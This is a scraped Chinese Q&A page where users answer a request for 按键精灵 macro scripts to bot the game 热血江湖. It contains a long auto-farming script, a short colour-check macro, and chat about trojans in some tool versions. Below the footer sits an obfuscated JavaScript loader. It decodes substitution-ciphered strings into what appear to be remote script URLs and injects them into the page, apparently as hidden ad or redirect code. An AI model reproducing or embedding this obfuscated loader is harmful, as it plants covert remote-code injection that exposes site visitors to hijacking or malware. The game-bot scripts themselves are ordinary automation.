15问答网 > 按键精灵 写脚本 高手进! 热血江湖

按键精灵 写脚本 高手进! 热血江湖

2025-02-15 10:46:50
推荐回答（5个）
回答1：

　　VBS Dim zRedPos,zBluePos,zRunPos,MaxFightCount,MaxFindCount,BlueCheckDC,AutoCheckMp
　　VBS Dim CurMapID,FightHere,DoctorDistance,AutoRun,GroupMembers,mGrayValue,mBlackValue
　　VBS Dim TakeRedNum,TakeBlueNum,TakeCharmNum,TakeArrowNum,StartSN,AutoShutOff
　　VBS Dim RunToFightType,BackToSupply,AutoSale,AutoPick,RecPlaceNum,BackSay,BackCode
　　VBS Dim DeadNoSupply,WgFirst,WgLatter,FullToBack,AutoWS,AutoGF,AutoPlus
　　VBS Dim MapMaxRed,MapMaxGreen,MapMaxBlue,MapMinRed,MapMinGreen,MapMinBlue
　　VBS Dim lngF1CJ,lngF2JN,lngF3JQ,lngF4JF,lngF5BH,NoWsNoSupply,PreTime
　　VBS Dim lngF6BL,lngF7TF,lngF8HC,lngF9QG,lngF10Z,MinFightTime,CharmBforRun
　　//相关配置文件定义
　　KeyPress 13 1
　　VBS Dim strIniFile,strDotFile,strRecFile,strMySetFile
　　VBS strDotFile="ScanDot.ini":strIniFile="Fight.ini":strMySetFile="Set.ini"
　　VBS PreTime=Now
　　//读写用户自定义配置
　　VBSCall ReadMySet()@
　　VBSCall ReadWriteMySet()@
　　//全局变量定义
　　VBS Dim objFM,lngCount,lngScanDots,lngMonFile,strMonFile1,strMonFile2
　　VBS Dim lngFirstJN,CurMapName,zSay,blnzSay,zR,zB,zT,zY,strTagKey,WgCount
　　VBS Dim PreBluePos,CurBluePos,BlueCheckIgnore,blnBlock,lngFull,lngInitPick
　　VBS Dim ActionFlag,lngOffsetX,lngOffsetY,FightX,FightY,strUserJN1,strUserJN2
　　VBS Dim ScreenWidth,ScreenHeight,CenterX,CenterY,lngBhBlX(35),lngHold,blnBack
　　VBS Dim strRndSay(10),strSay512(10),lngTakeNum(5),lngShortTimes,IsClickSale
　　VBS Dim MonX,MonY,MonFound,x,y,mN,IsDead,nNotFound,InCity,lngErr,lngTotalMons
　　VBS Dim DotX(1000),DotY(1000),MonPreColor(1000),MonColor(1000)
　　//全局变量初始化
　　VBS Set objFM=CreateObject("QMDispatch.QMFunction")
　　VBS CurMapName="未知":FightX=0:FightY=0
　　VBS blnBack=0:blnzSay=0:zR=0:zB=0:zT=0:zY=0
　　VBS blnBlock=0:PreBluePos=0:CurBluePos=0:BlueCheckIgnore=1
　　VBS lngOffsetX=0:lngOffsetY=0:mN=0:WgCount=0
　　//读取屏幕分辨率
　　VBSCall GetScreenResolution(ScreenWidth,ScreenHeight)@
　　//记录设置信息到日志文件
　　VBSCall RecordUserSet()@
　　//血条预处理函数
　　VBSCall InitHpMp()@
　　//判断一下血值
　　VBSCall GetCurHP()@
　　If zT=1
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　If zR=1
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　//获取扫描点
　　VBSCall GetDotFromTXT(strDotFile)@
　　//判断一下当前血值
　　VBSCall GetCurHP()@
　　If zT=1
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　If zR=1
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　//图像判断变量定义
　　VBS Dim picRED,picBlue,picQG,picWS,picPlus,picFY,picGJ,picGF,lngEatOrGF
　　VBS Dim picBag(36),blnStoreFull,BagN,BagX,BagY,lngEmpty
　　VBS Dim WgColor(3),WgPreColor(3)
　　//行走变量定义
　　VBS Dim TargetX,TargetY,DirectSIN,DirectCOS,MouseX,MouseY
　　VBS Dim CurX,CurY,lngPreX,lngPreY,blnWalk,blnRunWithMon
　　VBS Dim WalkNpcX,WalkNpcY,TempCurX,TempCurY
　　//补给变量定义
　　VBS Dim ToNpcStoreX(4),ToNpcStoreY(4),ToNpcSaleX(4),ToNpcSaleY(4)
　　VBS Dim NpcSaleX,NpcSaleY,NpcStoreX,NpcStoreY
　　VBS Dim lngCurNum,lngLen,lngI,lngChar,lngMaxBuJi,lngRunBack
　　VBS Dim vfso,vfile,vfText,vfi,vfTemp
　　//变量初始化
　　VBS lngLen=0:lngI=0:lngCurNum=0:lngChar=0
　　VBS InCity=0:ActionFlag="FightOrSupply":lngRunBack=0
　　VBS MonX=0:MonY=0:mFound=0:nNotFound=0:mN=0
　　VBS x=0:y=0:CurX=0:CurY=0
　　VBS blnzSay=0:TargetX=0:TargetY=0
　　VBS picRed=0:picBlue=0:picQG=0:IsDead=0
　　VBS DirectSIN=0:DirectCOS=1
　　//调整为俯视并拖聊天栏
　　Gosub DragChat
　　Gosub LookDown
　　//判断一下当前血值
　　VBSCall GetCurHP()@
　　If zR=1
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　If zT=1
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　//判断玩家位置，记录当前战斗点
　　VBSCall JudgeInCity()@
　　If InCity=0 And FightHere=1
　　VBS FightX=CurX
　　VBS FightY=CurY
　　Else
　　VBSCall GetFightDot(strIniFile)@
　　EndIf
　　//获取脚本运行信息
　　VBSCall GetScriptStatus()@
　　Delay 32
　　SayExpression BackSay
　　Delay 32
　　KeyPress 145 1
　　Delay 32
　　//判断一下当前血值
　　VBSCall GetCurHP()@
　　If zT=1
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　If zR=1
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　//***************************************************************挂机主程序开始
　　//***************************************************************挂机主程序开始
　　//***************************************************************挂机主程序开始
　　Rem Begin
　　If InCity=0
　　KeyPress 145 1
　　Delay 16
　　VBSCall FindMonIsDie(0.9)@
　　If MonFound>0
　　If MonFound　　KeyPress lngFirstJN 1
　　ElseIf WgLatter=1
　　KeyPress lngF2JN 1
　　EndIf
　　Delay 64
　　EndIf
　　If BlueCheckIgnore=0
　　Gosub CheckMP
　　EndIf
　　If MonFound>MaxFightCount
　　Gosub WalkRandom
　　EndIf
　　KeyPress 145 1
　　Delay 16
　　While MonFound=0 And nNotFound<=MaxFindCount
　　If zR=1
　　KeyPress lngF5BH 1
　　Delay 256
　　EndIf
　　If AutoPick=1 And nNotFound<3
　　KeyPress lngF3JQ 1
　　EndIf
　　Delay 256
　　VBSCall JudgeCurDistance()@
　　VBSCall FindMonster(CurMapID)@
　　If MonFound=1
　　LeftClick 1
　　Delay 32
　　VBSCall FindMonBeClicked(0.9)@
　　If MonFound=1
　　KeyPress lngFirstJN 1
　　Delay 64
　　EndIf
　　EndIf
　　VBSCall JudgeCurState()@
　　EndWhile
　　VBSCall GetCurAll()@
　　If zT=1 Or IsDead>0
　　KeyPress lngF8HC 1
　　Gosub StopWait
　　EndIf
　　If zR=1
　　KeyPress lngF5BH 1
　　Delay 432
　　ElseIf zB=1
　　KeyPress lngF6BL 1
　　Delay 320
　　EndIf
　　If lngEatOrGF=1
　　Gosub EatOrGf
　　EndIf
　　Delay 32
　　If nNotFound>MaxFindCount
　　Gosub NoMonProcess
　　EndIf
　　Else
　　Gosub InCityProcess
　　EndIf
　　Goto Begin
　　EndScript
　　//***************************************************************挂机主程序结束
　　//***************************************************************挂机主程序结束
　　//***************************************************************挂机主程序结束
　　//*
　　//*
　　//************************************************************
　　//*************判断血蓝、轻功、药品剩余子程序*****************
　　//************************************************************
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　Sub JudgeAll
　　VBSCall GetCurAll()@
　　If zT=1 Or IsDead>0
　　KeyPress lngF8HC 1
　　Gosub StopWait
　　EndIf
　　If zR=1
　　KeyPress lngF5BH 1
　　Delay 256
　　ElseIf zB=1
　　KeyPress lngF6BL 1
　　Delay 256
　　EndIf
　　If lngEatOrGF=1
　　Gosub EatOrGf
　　EndIf
　　If picQG<0
　　KeyPress lngF9QG 1
　　Delay 128
　　VBS picQG=1
　　EndIf
　　Return JudgeAll
　　//************************************************************
　　//********************停止所有攻击并等待**********************
　　//************************************************************
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　Sub StopWait
　　VBS blnBack=1
　　Delay 128
　　If IsDead=1
　　MoveTo CenterX+60 245
　　Delay 64
　　LeftClick 1
　　Delay 640
　　EndIf
　　For 20
　　KeyDown 17 1
　　Delay 64
　　KeyPress 67 1
　　Delay 64
　　KeyUp 17 1
　　Delay 640
　　EndFor
　　If InCity=1
　　VBS BackSay=TransBackCode(BackCode)
　　VBS BackSay=BackSay+"回城..."
　　VBSCall RecordINI(BackSay)@
　　Delay 64
　　VBS vfText=strRndSay(Int(10*Rnd))
　　SayExpression vfText
　　KeyPress 13 1
　　Delay 128
　　EndIf
　　VBSCall JudgeInCity()@
　　If CurX=0 And CurY=0
　　InCity=1
　　EndIf
　　MoveTo 23 13
　　Delay 64
　　LeftClick 1
　　Delay 256
　　MoveTo CenterX CenterY+12
　　Delay 64
　　For 6
　　KeyPress lngFirstJN 1
　　Delay 512
　　EndFor
　　VBSCall GetCurHP()@
　　If zT=1
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　If zR=1
　　KeyPress lngF5BH 1
　　Delay 256
　　EndIf
　　For 3
　　VBS MonX=0:MonY=0
　　While MonX<=0 Or MonY<=0
　　VBSCall WalkLittleInCity()@
　　If MonX>0 And MonY>0
　　MoveTo MonX MonY
　　Delay 64
　　LeftDoubleClick 1
　　Delay 500
　　EndIf
　　EndWhile
　　VBSCall FindPic(320,580,390,610,"Images\_User关闭.bmp",0.9,MonX,MonY)@
　　If MonX>0 And MonY>0
　　MoveTo MonX+8 MonY+6
　　Delay 96
　　LeftClick 1
　　Delay 900
　　EndIf
　　EndFor
　　Return StopWait
　　//************************************************************
　　//******************自动五色、GF、糖子程序********************
　　//************************************************************
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　Sub EatOrGf
　　If picWS<-4
　　MoveTo 270 ScreenHeight-22
　　Delay 64
　　LeftClick 1
　　Delay 320
　　KeyPress lngF5BH 1
　　Delay 320
　　VBSCall FindPic(ScreenWidth-50,173,ScreenWidth-5,191,"Images\_Bag关闭.bmp",0.9,x,y)@
　　If x>0 And y>0
　　VBSCall FindPic(ScreenWidth-233,350,ScreenWidth-25,555,"Images\_User五色0.bmp",0.9,x,y)@
　　If x>0 And y>0
　　MoveTo x+10 y+6
　　Delay 64
　　RightClick 1
　　Delay 256
　　VBS picWS=1
　　Else
　　VBS AutoWS=0
　　If NoWsNoSupply=1
　　VBS IsDead=2
　　VBS BackToSupply=0
　　EndIf
　　EndIf
　　KeyPress 27 1
　　Delay 256
　　EndIf
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　If picPlus<-4
　　MoveTo 270 ScreenHeight-22
　　Delay 64
　　LeftClick 1
　　Delay 320
　　KeyPress lngF5BH 1
　　Delay 320
　　VBSCall FindPic(ScreenWidth-50,173,ScreenWidth-5,191,"Images\_Bag关闭.bmp",0.9,x,y)@
　　If x>0 And y>0
　　VBSCall FindPic(ScreenWidth-233,350,ScreenWidth-25,555,"Images\_User辅助0.bmp",0.9,x,y)@
　　If x>0 And y>0
　　MoveTo x+10 y+10
　　Delay 64
　　RightClick 1
　　Delay 256
　　VBS picPlus=1
　　Else
　　VBS AutoPlus=0
　　EndIf
　　KeyPress 27 1
　　Delay 256
　　EndIf
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　If picFY=0
　　KeyPress lngF5BH 1
　　Delay 128
　　MoveTo 23 13
　　Delay 64
　　LeftClick 1
　　Delay 128
　　KeyPress lngF4JF 1
　　Delay 512
　　VBS picFY=1
　　Delay 384
　　KeyPress lngF5BH 1
　　Delay 128
　　ElseIf picGJ=0
　　KeyPress lngF5BH 1
　　Delay 128
　　MoveTo 23 13
　　Delay 64
　　LeftClick 1
　　Delay 128
　　KeyPress lngF1CJ 1
　　Delay 512
　　VBS picGJ=1
　　Delay 384
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　If PicGF<1
　　VBS vfText=strSay512(Int(10*Rnd))
　　SayExpression vfText
　　Delay 64
　　KeyPress 13 1
　　Delay 256
　　KeyPress lngF5BH 1
　　Delay 128
　　EndIf
　　Return EatOrGf
　　//************************************************************
　　//**********************坐标行走子程序************************
　　//************************************************************
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　Sub WalkToXY
　　Gosub JudgeAll
　　VBS lngPreX=0:lngPreY=0:lngHold=0
　　VBS MouseX=0:MouseY=0:lngErr=0
　　VBSCall GetCurXY(CurX,CurY)@
　　VBSCall SetWalkClick()@
　　If blnzSay=1
　　Gosub ExtSay
　　EndIf
　　While blnWalk=1 And IsDead=0
　　VBSCall FindPic(320,580,390,610,"Images\_User关闭.bmp",0.9,x,y)@
　　If x>0 And y>0
　　MoveTo x+8 y+6
　　Delay 64
　　LeftClick 1
　　Delay 900
　　EndIf
　　If InCity=1
　　VBSCall FindPic(CenterX+70,CenterY-220,CenterX+105,CenterY-190,"Images\_NPC对话.bmp",0.9,x,y)@
　　If x>0 And y>0
　　Delay 64
　　KeyPress 27 1
　　Delay 900
　　EndIf
　　If lngRunBack=0
　　VBSCall JudgeInCity()@
　　EndIf
　　If InCity=0
　　VBS lngErr=lngErr+1
　　VBS InCity=1
　　Else
　　VBS lngErr=0
　　EndIf
　　If lngErr>5
　　KeyPress lngF8HC 1
　　Delay 128
　　VBS BackSay="22491549"
　　VBSCall RecordINI(BackSay)@
　　VBS BackCode="000000"
　　Gosub StopWait
　　VBS blnBack=0
　　EndIf
　　EndIf
　　MoveTo MonX MonY
　　Delay 64
　　LeftClick 1
　　Delay 384
　　If InCity=1
　　Delay 128
　　VBS TempCurX=0:TempCurY=0
　　While TempCurX<>CurX Or TempCurY<>CurY
　　VBS TempCurX=CurX
　　VBS TempCurY=CurY
　　Delay 192
　　VBSCall GetCurXY(CurX,CurY)@
　　EndWhile
　　EndIf
　　Gosub JudgeAll
　　VBSCall GetCurXY(CurX,CurY)@
　　VBSCall SetWalkClick()@
　　EndWhile
　　VBSCall GetCurHP()@
　　If zT=1
　　KeyPress lngF5BH 1
　　Delay 100
　　EndIf
　　If zR=1
　　KeyPress lngF5BH 1
　　Delay 100
　　EndIf
　　VBS nNotFound=0
　　Return WalkToXY
　　//************************************************************
　　//************************随机移动子程序**********************
　　//************************************************************
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　Sub WalkRandom
　　VBSCall GetCurXY(CurX,CurY)@
　　VBS TempCurX=CurX
　　VBS TempCurY=CurY
　　While TempCurX=CurX And TempCurY=CurY
　　VBSCall WalkLittle()@
　　MoveTo MonX MonY
　　Delay 64
　　LeftClick 1
　　Delay 384
　　Gosub JudgeAll
　　VBSCall GetCurXY(CurX,CurY)@
　　EndWhile
　　VBS MonFound=0
　　Return WalkRandom
　　//************************************************************
　　//**********************内力检测防卡子程序********************
　　//************************************************************
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　Sub CheckMP
　　VBSCall CurBluePos=GetCurBluePos()@
　　If CurBluePos>=PreBluePos And zB=0
　　VBS blnBlock=blnBlock+1
　　Else
　　VBS blnBlock=0
　　EndIf
　　If blnBlock>1
　　SayExpression "卡"
　　VBSCall GetCurXY(CurX,CurY)@
　　VBS lngPreX=CurX
　　VBS lngPreY=CurY
　　While lngPreX=CurX And lngPreY=CurY And CurBluePos>=PreBluePos
　　VBS PreBluePos=CurBluePos
　　VBSCall WalkLittle()@
　　MoveTo MonX MonY
　　Delay 64
　　LeftDoubleClick 1
　　Delay 256
　　KeyPress lngFirstJN 1
　　Delay 256
　　Gosub JudgeAll
　　VBSCall GetCurXY(CurX,CurY)@
　　VBSCall CurBluePos=GetCurBluePos()@
　　EndWhile
　　VBS blnBlock=0:MonFound=0
　　EndIf
　　VBS PreBluePos=CurBluePos
　　Return CheckMP
　　//************************************************************
　　//************************引怪子程序**************************
　　//************************************************************
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　Sub NoMonProcess
　　If nNotFound<999
　　Gosub WalkRandom
　　EndIf
　　If nNotFound<999 And AutoRun>0
　　If AutoRun=1
　　Gosub RunWithMon01
　　EndIf
　　If AutoRun=2
　　Gosub RunWithMon02
　　EndIf
　　VBS blnRunWithMon=1
　　VBS nNotFound=0:MonFound=0
　　VBS TargetX=FightX:TargetY=FightY
　　Gosub WalkToXY
　　Else
　　VBS blnRunWithMon=0
　　VBS nNotFound=0:MonFound=0
　　VBS TargetX=FightX:TargetY=FightY
　　Gosub WalkToXY
　　EndIf
　　VBS blnRunWithMon=0
　　Return NoMonProcess
　　//************************************************************
　　//***********************引怪子01程序*************************
　　//************************************************************
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　Sub RunWithMon01
　　MoveTo CenterX+300 0
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　MoveTo CenterX+300 0
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　MoveTo CenterX-300 CenterY-300
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　MoveTo CenterX-300 CenterY-300
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　MoveTo CenterX-300 CenterY+300
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　MoveTo CenterX-300 CenterY+300
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　MoveTo CenterX+300 CenterY+300
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　MoveTo CenterX+300 CenterY+300
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　MoveTo CenterX+300 CenterY-300
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　MoveTo CenterX+300 CenterY-300
　　Delay 64
　　LeftClick 1
　　Delay 600
　　Gosub JudgeAll
　　Return RunWithMon01
　　//************************************************************
　　//***********************引怪子02程序*************************
　　//************************************************************
　　//自由猎手之打手全自动挂机脚本，免费发布
　　//官方地址：http://fhok.spaces.msn.com
　　Sub RunWithMon02
　　VBS mN=0:MonX=0:MonY=0:MonFound=0
　　VBS Set vfso=CreateObject("Scripting.FileSystemObject")
　　VBS Set vfile=vfso.OpenTextFile(strIniFile, 1)
　　VBS vfText="00000000"
　　While vfText<>"[Run]"
　　VBS vfText=vfile.ReadLine
　　EndWhile
　　VBS vfText=vfile.ReadLine
　　While blnBack=0 And vfText<>"[Over]"
　　VBS vfi=InStr(vfText, ".")
　　VBS TargetX=CLng(Left(vfText, vfi - 1))
　　VBS TargetY=CLng(Mid(vfText, vfi + 1))
　　Gosub WalkToXY
　　VBS vfText=vfile.ReadLine
　　EndWhile
　　VBS vfile.Close
　　VBS Set vfile=Nothing
　　VBS Set vfso=Nothing
　　Return RunWithMon02
　　//************************************************************
　　//*********************清理包裹中的盒子***********************
　　//************************************************************
　　Sub ClearBag
　　VBS BackSay="开饭盒..."
　　VBSCall RecordINI(BackSay)@
　　MoveTo 270 ScreenHeight-22
　　Delay 100
　　LeftClick 1
　　Delay 900
　　Delay 900
　　Delay 900
　　VBSCall GetBoxOfBag()@
　　VBS BagN=StartSN-1
　　VBS BagX=0:BagY=0
　　While BagN<36
　　VBS BagX=(BagN Mod 6)*33+(ScreenWidth-210)
　　VBS BagY=(BagN\6)*33+366
　　MoveTo BagX BagY
　　Delay 64
　　If picBag(BagN)=1
　　Delay 128
　　RightClick 1
　　Delay 512
　　EndIf
　　VBS BagN=BagN+1
　　EndWhile
　　MoveTo CenterX CenterY
　　Delay 500
　　VBSCall FindPic(ScreenWidth-50,173,ScreenWidth-5,191,"Images\_Bag关闭.bmp",0.9,x,y)@
　　If x>0 And y>0
　　KeyPress 27 1
　　Delay 500
　　EndIf
　　Delay 900
　　Return ClearBag
　　Sub ExtS

回答2：

别用按键6
有木马
用按键3
安全，我会做脚本
把你自己舒服的键位告诉我
我给你做，呵呵
我的邮箱mrwylp@163.com
我是网1赤峰的
呵呵，

回答3：

//--------红放F1,蓝放F3,回城放F8----------
Rem 开始
IfColor 636,746,b5ffde,2
KeyPress 119,1
Delay 900
EndIf
IfColor 709 746 b5ffe7,2
KeyPress 119,1
Delay 900
EndIf
Delay 256
Goto 开始

回答4：

楼上哪个哥们是网通一区赤峰的啊?偶也是啊!不过现在赤峰太垃圾了,偶都跑电信去玩了,
虽然偶学过编程可是偶对这还是一窍不通!!
嘿嘿不好意识啊

回答5：

下个按键精灵 里面带有一个 简单游的软件 里面什么也不用注册就能用大多数游戏 里面都有 类似于按键的脚本 共享站 这里我不提供 下载地址 以免说有木马 推荐个 新浪软件下载中心 上百度上搜 什么都有

相关问答
最新问答
兖州到菏泽的汽车时刻表
包皮手术拆环后因为没有听医生说的。拆环后第二天开始洗澡。现在伤口感染了。边边有米黄色的液体。医生...
如何在字库中查找是否有可安装的新字体
word office2007怎么制作组织结构图
在职证明最准确的英文翻译是什么？
今天检查有细菌性阴道炎，盆腔炎，怎么治疗？？
怎样提高现代文阅读的能力？怎样提高答题准确率
合肥学院会计学怎么样
c1驾驶证增驾摩托车 驾驶证
lg冰箱显示ErCd故障代码是什么
返回顶部

内容全部来源于网络收集，如有侵权，请联系网站删除：QQ：24596024

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 